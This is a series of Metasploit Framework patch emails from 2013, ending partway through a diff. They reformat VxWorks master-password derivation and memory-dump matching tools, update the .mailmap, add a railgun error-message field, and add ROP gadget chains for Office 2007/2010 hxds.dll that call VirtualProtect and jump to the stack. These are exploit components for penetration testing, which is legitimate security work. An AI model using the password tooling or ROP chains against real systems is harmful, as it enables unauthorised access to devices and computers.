Encoding.respond_to?('default_external=')) - Encoding.default_external = Encoding.default_internal = "binary" + Encoding.default_external = Encoding.default_internal = "binary" end dump = ARGV.shift || usage() @@ -29,11 +29,11 @@ $stderr.puts "[*] Loading master password list..." ohashes = [] hashes = [] File.read(list).split("\n").each do |x| - xid,enc,raw = x.split("|", 3) - xid = xid.to_i - next if raw =~ /invalid/ - raw,tmp = raw.split("\x00") - ohashes << [xid, enc, raw] + xid,enc,raw = x.split("|", 3) + xid = xid.to_i + next if raw =~ /invalid/ + raw,tmp = raw.split("\x00") + ohashes << [xid, enc, raw] end $stderr.puts "[*] Loading memory dump..." @@ -46,19 +46,19 @@ hashes = ohashes tot = hashes.length cur = 0 hashes.each do |r| - x,k,h = r + x,k,h = r - cur += 1 - pct = cur/tot.to_f - pct = (pct * 100).to_i - $stdout.write(" \r[*] Progress: #{pct}% (#{cur}/#{tot})") - $stdout.flush + cur += 1 + pct = cur/tot.to_f + pct = (pct * 100).to_i + $stdout.write(" \r[*] Progress: #{pct}% (#{cur}/#{tot})") + $stdout.flush - next if not data.index(k) - $stdout.write("\n") - $stdout.flush - puts "[+]" - puts "[+] Password hash '#{k}' (##{x}) can be accessed with #{h.unpack("C*").map{|i| "\\x%.2x" % i}} [ '#{h}' ]" - puts "[+]" + next if not data.index(k) + $stdout.write("\n") + $stdout.flush + puts "[+]" + puts "[+] Password hash '#{k}' (##{x}) can be accessed with #{h.unpack("C*").map{|i| "\\x%.2x" % i}} [ '#{h}' ]" + puts "[+]" end diff --git a/tools/vxencrypt.rb b/tools/vxencrypt.rb index 7c8d7d3924..f9d709ee55 100755 --- a/tools/vxencrypt.rb +++ b/tools/vxencrypt.rb @@ -6,25 +6,25 @@ # def hashit(inp) - if inp.length < 8 or inp.length > 120 - raise RuntimeError, "The password must be between 8 and 120 characters" - end - sum = 0 - bytes = inp.unpack("C*") - bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) } - hackit(sum) + if inp.length < 8 or inp.length > 120 + raise RuntimeError, "The password must be between 8 and 120 characters" + end + sum = 0 + bytes = inp.unpack("C*") + bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) } + hackit(sum) end def hackit(sum) - magic = 31695317 - res = ((sum * magic) & 0xffffffff).to_s - res.unpack("C*").map{ |c| - c += 0x21 if c < 0x33 - c += 0x2f if c < 0x37 - c += 0x42 if c < 0x39 - c - }.pack("C*") + magic = 31695317 + res = ((sum * magic) & 0xffffffff).to_s + res.unpack("C*").map{ |c| + c += 0x21 if c < 0x33 + c += 0x2f if c < 0x37 + c += 0x42 if c < 0x39 + c + }.pack("C*") end input = ARGV.shift || "flintstone" diff --git a/tools/vxmaster.rb b/tools/vxmaster.rb index 396f567dd8..e599b91be0 100755 --- a/tools/vxmaster.rb +++ b/tools/vxmaster.rb @@ -22,90 +22,90 @@ # not very common in the wild. def vxworks_sum_from_pass(pass) - if pass.length < 8 or pass.length > 40 - raise RuntimeError, "too short or too long" - end + if pass.length < 8 or pass.length > 40 + raise RuntimeError, "too short or too long" + end - sum = 0 - bytes = pass.unpack("C*") - bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) } - sum + sum = 0 + bytes = pass.unpack("C*") + bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) } + sum end # VxWorks does a final round of "mangling" on the generated additive sum. This # mangle process does not add any additional security to the hashing mechanism def vxworks_hash_from_sum(sum) - magic = 31695317 - res = ((sum * magic) & 0xffffffff).to_s - res.unpack("C*").map{ |c| - c += 0x21 if c < 0x33 - c += 0x2f if c < 0x37 - c += 0x42 if c < 0x39 - c - }.pack("C*") + magic = 31695317 + res = ((sum * magic) & 0xffffffff).to_s + res.unpack("C*").map{ |c| + c += 0x21 if c < 0x33 + c += 0x2f if c < 0x37 + c += 0x42 if c < 0x39 + c + }.pack("C*") end # This method tries to find an exact match for a given sum. This is inefficient, # but the master password only needs to be precomputed once. def vxworks_pass_from_sum_refine(sum, bsum, pass) - 0.upto(pass.length-1) do |i| - tpass = pass.dup - while ( tpass[i, 1].unpack("C*")[0] > 0x21 ) - tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] - 1 ].pack("C") - bsum = vxworks_sum_from_pass(tpass) - if bsum == sum - return tpass - end - end - end - 0.upto(pass.length-1) do |i| - tpass = pass.dup - while ( tpass[i, 1].unpack("C*")[0] < 0x7c ) - tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] + 1 ].pack("C") - bsum = vxworks_sum_from_pass(tpass) - if bsum == sum - return tpass - end - end - end - "<failed>" + 0.upto(pass.length-1) do |i| + tpass = pass.dup + while ( tpass[i, 1].unpack("C*")[0] > 0x21 ) + tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] - 1 ].pack("C") + bsum = vxworks_sum_from_pass(tpass) + if bsum == sum + return tpass + end + end + end + 0.upto(pass.length-1) do |i| + tpass = pass.dup + while ( tpass[i, 1].unpack("C*")[0] < 0x7c ) + tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] + 1 ].pack("C") + bsum = vxworks_sum_from_pass(tpass) + if bsum == sum + return tpass + end + end + end + "<failed>" end # This method locates a "workalike" password that matches a given # intermediate additive sum value. def vxworks_pass_from_sum(sum, lpass=nil) - opass = lpass || "\x20" * 8 - pass = opass.dup - fmax = (sum > 10000) ? 0xff : 0x7b - pidx = 0 - pcnt = pass[0,1].unpack("C*")[0] - more = false + opass = lpass || "\x20" * 8 + pass = opass.dup + fmax = (sum > 10000) ? 0xff : 0x7b + pidx = 0 + pcnt = pass[0,1].unpack("C*")[0] + more = false - bsum = vxworks_sum_from_pass(pass) - if bsum > sum - return "<invalid>" - end + bsum = vxworks_sum_from_pass(pass) + if bsum > sum + return "<invalid>" + end - while bsum != sum + while bsum != sum - if bsum > sum - return vxworks_pass_from_sum_refine(sum, bsum, pass) - end + if bsum > sum + return vxworks_pass_from_sum_refine(sum, bsum, pass) + end - if pcnt > fmax - pidx += 1 + if pcnt > fmax + pidx += 1 - if pidx == (pass.length) - pass += " " - end - pcnt = pass[pidx, 1].unpack("C")[0] - end + if pidx == (pass.length) + pass += " " + end + pcnt = pass[pidx, 1].unpack("C")[0] + end - pass[pidx,1] = [ pcnt ].pack("C") - bsum = vxworks_sum_from_pass(pass) - pcnt += 1 - end - pass + pass[pidx,1] = [ pcnt ].pack("C") + bsum = vxworks_sum_from_pass(pass) + pcnt += 1 + end + pass end outputfile = ARGV.shift() || "masterpasswords.txt" @@ -121,83 +121,83 @@ seedsets = [] seeds = [] 8.upto(8) do |slen| - 0x23.upto(0x7c) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0x7c) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds seeds = [] 8.upto(12) do |slen| - 0x23.upto(0x7c) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0x7c) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds seeds = [] 8.upto(16) do |slen| - 0x23.upto(0xf0) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0xf0) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds seeds = [] 8.upto(16) do |slen| - 0x23.upto(0xff) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0xff) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds seeds = [] 8.upto(40) do |slen| - 0x23.upto(0xff) do |cset| - sbase = [cset].pack("C") * slen - seeds << [ vxworks_sum_from_pass(sbase), sbase ] - end + 0x23.upto(0xff) do |cset| + sbase = [cset].pack("C") * slen + seeds << [ vxworks_sum_from_pass(sbase), sbase ] + end end seedsets << seeds # Calculate passwords and their hashes for all possible outputs 1.upto(209656) do |i| - found = false - seedsets.each do |seeds| - lhash = nil - seeds.reverse.each do |s| - if i > (s[0] + 1000) - lhash = s[1] - break - end - end + found = false + seedsets.each do |seeds| + lhash = nil + seeds.reverse.each do |s| + if i > (s[0] + 1000) + lhash = s[1] + break + end + end - hash = vxworks_hash_from_sum(i) - pass = vxworks_pass_from_sum(i, lhash) + hash = vxworks_hash_from_sum(i) + pass = vxworks_pass_from_sum(i, lhash) - puts "[*] Generated #{i} of 209656 passwords..." if (i % 1000 == 0) - # The first 1187 passwords are not very likely to occur and we skip - # generation. These are "sums" that result in a value lesss than a - # 8 digit password of all spaces. + puts "[*] Generated #{i} of 209656 passwords..." if (i % 1000 == 0) + # The first 1187 passwords are not very likely to occur and we skip + # generation. These are "sums" that result in a value lesss than a + # 8 digit password of all spaces. - if i > 1187 and pass =~ /<.*>/ - # p "#{i} SEED '#{lhash}' => '#{hash}' => '#{pass}'" - next - end - ofd.puts "#{i}|#{hash}|#{pass}\x00" - found = true - break - end + if i > 1187 and pass =~ /<.*>/ + # p "#{i} SEED '#{lhash}' => '#{hash}' => '#{pass}'" + next + end + ofd.puts "#{i}|#{hash}|#{pass}\x00" + found = true + break + end - if not found - puts "FAILED TO GENERATE #{i}" - exit(0) - end + if not found + puts "FAILED TO GENERATE #{i}" + exit(0) + end end From 96f7ea7b755ed25c6842f80e2b11c94e4c60bd56 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 30 Sep 2013 15:16:21 -0500 Subject: [PATCH 085/210] Update bperry and chao-mu in .mailmap --- .mailmap | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/.mailmap b/.mailmap index 0b0bd860dd..6a1eb7687d 100644 --- a/.mailmap +++ b/.mailmap @@ -1,5 +1,3 @@ -bperry-r7 <bperry-r7@github> Brandon Perry <bperry.volatile@gmail.com> -bperry-r7 <bperry-r7@github> Brandon Perry <bperry@bperry-rapid7.(none)> bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com> dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com> @@ -20,13 +18,15 @@ wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com> wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com> -# Above this line are current Rapid7 employees Below this paragraph are +# Above this line are current Rapid7 employees. Below this paragraph are # volunteers, former employees, and potential Rapid7 employees who, at # one time or another, had some largeish number of commits landed on # rapid7/metasploit-framework master branch. This should be refreshed # periodically. If you're on this list and would like to not be, just # let todb@metasploit.com know. +Brandon Perry <bperry.volatile@gmail.com> Brandon Perry <bperry.volatile@gmail.com> +Brandon Perry <bperry.volatile@gmail.com> Brandon Perry <bperry@bperry-rapid7.(none)> Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com> Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com> ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc> @@ -37,6 +37,9 @@ Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk> Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk> bannedit <bannedit@github> David Rude <bannedit0@gmail.com> ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com> +chao-mu <chao.mu@minorcrash.com> Chao Mu <chao.mu@minorcrash.com> +chao-mu <chao.mu@minorcrash.com> chao-mu <chao.mu@minorcrash.com> +chao-mu <chao.mu@minorcrash.com> chao-mu <chao@confusion.(none)> corelanc0d3er <corelanc0d3er@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be> corelanc0d3er <corelanc0d3er@github> corelanc0d3r <peter.ve@corelan.be> darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com> From 9610f74ff9264bcafe74dbd3fb2f9cdbee31439c Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 30 Sep 2013 15:19:56 -0500 Subject: [PATCH 086/210] Prefer github usernames --- .mailmap | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/.mailmap b/.mailmap index 6a1eb7687d..a2976a4b3e 100644 --- a/.mailmap +++ b/.mailmap @@ -25,8 +25,8 @@ wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com> # periodically. If you're on this list and would like to not be, just # let todb@metasploit.com know. -Brandon Perry <bperry.volatile@gmail.com> Brandon Perry <bperry.volatile@gmail.com> -Brandon Perry <bperry.volatile@gmail.com> Brandon Perry <bperry@bperry-rapid7.(none)> +Brandon Perry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com> +Brandon Perry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)> Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com> Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com> ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc> @@ -37,9 +37,9 @@ Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk> Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk> bannedit <bannedit@github> David Rude <bannedit0@gmail.com> ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com> -chao-mu <chao.mu@minorcrash.com> Chao Mu <chao.mu@minorcrash.com> -chao-mu <chao.mu@minorcrash.com> chao-mu <chao.mu@minorcrash.com> -chao-mu <chao.mu@minorcrash.com> chao-mu <chao@confusion.(none)> +Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com> +Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com> +Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)> corelanc0d3er <corelanc0d3er@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be> corelanc0d3er <corelanc0d3er@github> corelanc0d3r <peter.ve@corelan.be> darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com> From 9c4510940f8a31b56b2d5900e930e78fc81edb2e Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 30 Sep 2013 15:21:09 -0500 Subject: [PATCH 087/210] Alphabetize --- .mailmap | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.mailmap b/.mailmap index a2976a4b3e..ef7bc97f43 100644 --- a/.mailmap +++ b/.mailmap @@ -29,6 +29,9 @@ Brandon Perry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com> Brandon Perry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)> Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com> Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com> +Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com> +Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com> +Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)> ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc> ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc> FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com> @@ -37,9 +40,6 @@ Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk> Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk> bannedit <bannedit@github> David Rude <bannedit0@gmail.com> ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com> -Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com> -Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com> -Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)> corelanc0d3er <corelanc0d3er@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be> corelanc0d3er <corelanc0d3er@github> corelanc0d3r <peter.ve@corelan.be> darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com> From 49187e8a3197660f9eb89f2caa84d8cbecdc301b Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 30 Sep 2013 15:23:16 -0500 Subject: [PATCH 088/210] Alphabetize for real (case insensitive) --- .mailmap | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/.mailmap b/.mailmap index ef7bc97f43..352eeb287c 100644 --- a/.mailmap +++ b/.mailmap @@ -25,29 +25,26 @@ wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com> # periodically. If you're on this list and would like to not be, just # let todb@metasploit.com know. +bannedit <bannedit@github> David Rude <bannedit0@gmail.com> Brandon Perry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com> Brandon Perry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)> Brian Wallace <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com> Brian Wallace <bwall@github> Brian Wallace <bwall@openbwall.com> +ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com> Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com> Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com> Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)> ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc> ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc> -FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com> -Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk> -Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk> -Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk> -bannedit <bannedit@github> David Rude <bannedit0@gmail.com> -ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com> -corelanc0d3er <corelanc0d3er@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be> corelanc0d3er <corelanc0d3er@github> corelanc0d3r <peter.ve@corelan.be> +corelanc0d3er <corelanc0d3er@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be> darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com> efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com> efraintorres <efraintorres@github> et <> fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON) -h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com> +FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com> h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com> +h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com> jcran <jcran@github> Jonathan Cran <jcran@0x0e.org> jcran <jcran@github> Jonathan Cran <jcran@rapid7.com> jduck <jduck@github> Joshua Drake <github.jdrake@qoop.org> @@ -59,6 +56,9 @@ kris <kris@???> kris <> m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de> m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de> m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com> +Meatballs1 <Meatballs1@github> Ben Campbell <eat_meatballs@hotmail.co.uk> +Meatballs1 <Meatballs1@github> Meatballs <eat_meatballs@hotmail.co.uk> +Meatballs1 <Meatballs1@github> Meatballs1 <eat_meatballs@hotmail.co.uk> mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com> nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net> nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk> From 301c370b6821f79db8d88e49f1a585d15c699a61 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 30 Sep 2013 17:04:57 -0500 Subject: [PATCH 089/210] Add William and alphabetize correctly --- .mailmap | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/.mailmap b/.mailmap index 352eeb287c..4a85ec1c7b 100644 --- a/.mailmap +++ b/.mailmap @@ -1,12 +1,12 @@ bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com> -dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com> +dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com> # aka TheLightCosine ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com> hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com> hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net> -jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com> -jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt jlee-r7 <jlee-r7@github> egypt <egypt@metasploit.com> # aka egypt +jlee-r7 <jlee-r7@github> James Lee <egypt@metasploit.com> # aka egypt +jlee-r7 <jlee-r7@github> James Lee <James_Lee@rapid7.com> joev-r7 <joev-r7@github> Joe Vennix <Joe_Vennix@rapid7.com> jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com> limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com> @@ -14,9 +14,11 @@ shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com> tasos-r7 <tasos-r7@github> Tasos Laskos <Tasos_Laskos@rapid7.com> todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com> todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com> -wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com> wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com> +wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com> +wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com> +wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu> # Above this line are current Rapid7 employees. Below this paragraph are # volunteers, former employees, and potential Rapid7 employees who, at From 7c6c8291e284bed5c58feaa647274f67c5766710 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Tue, 1 Oct 2013 01:33:35 -0500 Subject: [PATCH 090/210] Add ROP chains for Office 2007 and Office 2010 (hxds.dll) This adds two ROP chains for Office 2007 and Office 2010 based on hxds.dll. --- data/ropdb/hxds.xml | 66 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 66 insertions(+) create mode 100644 data/ropdb/hxds.xml diff --git a/data/ropdb/hxds.xml b/data/ropdb/hxds.xml new file mode 100644 index 0000000000..49c2a0a9a5 --- /dev/null +++ b/data/ropdb/hxds.xml @@ -0,0 +1,66 @@ +<?xml version="1.0" encoding="ISO-8859-1"?> +<db> +<rop> + <compatibility> + <target>2007</target> + </compatibility> + + <gadgets base="0x51bd0000"> + <gadget offset="0x000750fd">POP EAX # RETN</gadget> + <gadget offset="0x00001158">ptr to VirtualProtect()</gadget> + <gadget offset="0x0001803c">POP EBP # RETN</gadget> + <gadget offset="0x0001803c">skip 4 bytes</gadget> + <gadget offset="0x0001750f">POP EBX # RETN</gadget> + <gadget value="fffffdff">0x00000201</gadget> + <gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget> + <gadget offset="0x0004df88">NEG EAX # RETN</gadget> + <gadget offset="0x00005737">XCHG EAX, EBX # RETN</gadget> + <gadget offset="0x0002a7d8">POP EDX # RETN</gadget> + <gadget value="ffffffc0">0x00000040</gadget> + <gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget> + <gadget offset="0x0004df88">NEG EAX # RETN</gadget> + <gadget offset="0x00038b65">XCHG EAX, EDX # RETN</gadget> + <gadget offset="0x000406e9">POP ECX # RETN</gadget> + <gadget offset="0x0008bfae">Writable location</gadget> + <gadget offset="0x0003cc24">POP EDI # RETN</gadget> + <gadget offset="0x0004df8a">RETN (ROP NOP)</gadget> + <gadget offset="0x0002d94b">POP ESI # RETN</gadget> + <gadget offset="0x0002c840">JMP [EAX]</gadget> + <gadget offset="0x0003a4ec">PUSHAD # RETN</gadget> + <gadget offset="0x0007a9f3">ptr to 'jmp esp'</gadget> + </gadgets> +</rop> + +<rop> + <compatibility> + <target>2010</target> + </compatibility> + + <gadgets base="0x51bd0000"> + <gadget offset="0x0003e4fa">POP EBP # RETN</gadget> + <gadget offset="0x0003e4fa">skip 4 bytes</gadget> + <gadget offset="0x0006a2b4">POP EBX # RETN</gadget> + <gadget value="fffffdff">0x00000201</gadget> + <gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget> + <gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget> + <gadget value="junk">JUNK</gadget> + <gadget offset="0x00069351">XCHG EAX, EBX # RETN</gadget> + <gadget offset="0x0002a429">POP EDX # RETN</gadget> + <gadget value="ffffffc0">0x00000040</gadget> + <gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget> + <gadget offset="0x00025188">NEG EAX # POP ESI # RETN</gadget> + <gadget value="junk">JUNK</gadget> + <gadget offset="0x0001a84d">XCHG EAX, EDX # RETN</gadget> + <gadget offset="0x0006c4b1">POP ECX # RETN</gadget> + <gadget offset="0x0008c638">Writable location</gadget> + <gadget offset="0x0000be1d">POP EDI # RETN</gadget> + <gadget offset="0x00005383">RETN (ROP NOP)</gadget> + <gadget offset="0x00073335">POP ESI # RETN</gadget> + <gadget offset="0x0002c7cb">JMP [EAX]</gadget> + <gadget offset="0x00076452">POP EAX # RETN</gadget> + <gadget offset="0x000010b8">ptr to VirtualProtect()</gadget> + <gadget offset="0x0006604e">PUSHAD # RETN</gadget> + <gadget offset="0x00014534">ptr to 'jmp esp'</gadget> +</gadgets> +</rop> +</db> \ No newline at end of file From 82162ef486c0d6a9743d99ae0e8f6b57f3b4a88d Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Tue, 1 Oct 2013 17:23:08 +1000 Subject: [PATCH 091/210] Add error message support to railgun This code was lost in the transition when the meterpreter source was removed from the metasploit-framework source. I'm pulling this in by request of @dmaloney-r7 who originally requested this code be inculded as part of https://github.com/rapid7/metasploit-framework/pull/740 I added an extra bit of code to free up memory that is allocated by the call to FormatMessage and forced the ASCII-version (FormatMessageA) of the call. This PR is the MSF side of https://github.com/rapid7/meterpreter/pull/26 --- .../extensions/stdapi/railgun/dll.rb | 10 +++++- .../extensions/stdapi/railgun/tlv.rb | 33 ++++++++++--------- 2 files changed, 26 insertions(+), 17 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb index e140ccd5b8..a2bce9ea8b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb @@ -269,13 +269,21 @@ class DLL rec_out_only_buffers = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT) rec_return_value = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_RET) rec_last_error = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_ERR) + rec_err_msg = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_MSG) + + # Error messages come back with trailing CRLF, so strip it out + # if we do get a message. + rec_err_msg.strip! if not rec_err_msg.nil? #puts "received stuff" #puts "out_only_layout:" #puts out_only_layout # The hash the function returns - return_hash={"GetLastError" => rec_last_error} + return_hash = { + "GetLastError" => rec_last_error, + "ErrorMessage" => rec_err_msg + } #process return value case function.return_type diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb index bf9ec39a3e..d7af95babf 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb @@ -32,24 +32,25 @@ module Extensions module Stdapi module Railgun -TLV_TYPE_EXTENSION_RAILGUN = 0 -TLV_TYPE_RAILGUN_SIZE_OUT = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1) -TLV_TYPE_RAILGUN_STACKBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 2) -TLV_TYPE_RAILGUN_BUFFERBLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 3) -TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 4) +TLV_TYPE_EXTENSION_RAILGUN = 0 +TLV_TYPE_RAILGUN_SIZE_OUT = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_RAILGUN + TLV_EXTENSIONS + 1) +TLV_TYPE_RAILGUN_STACKBLOB 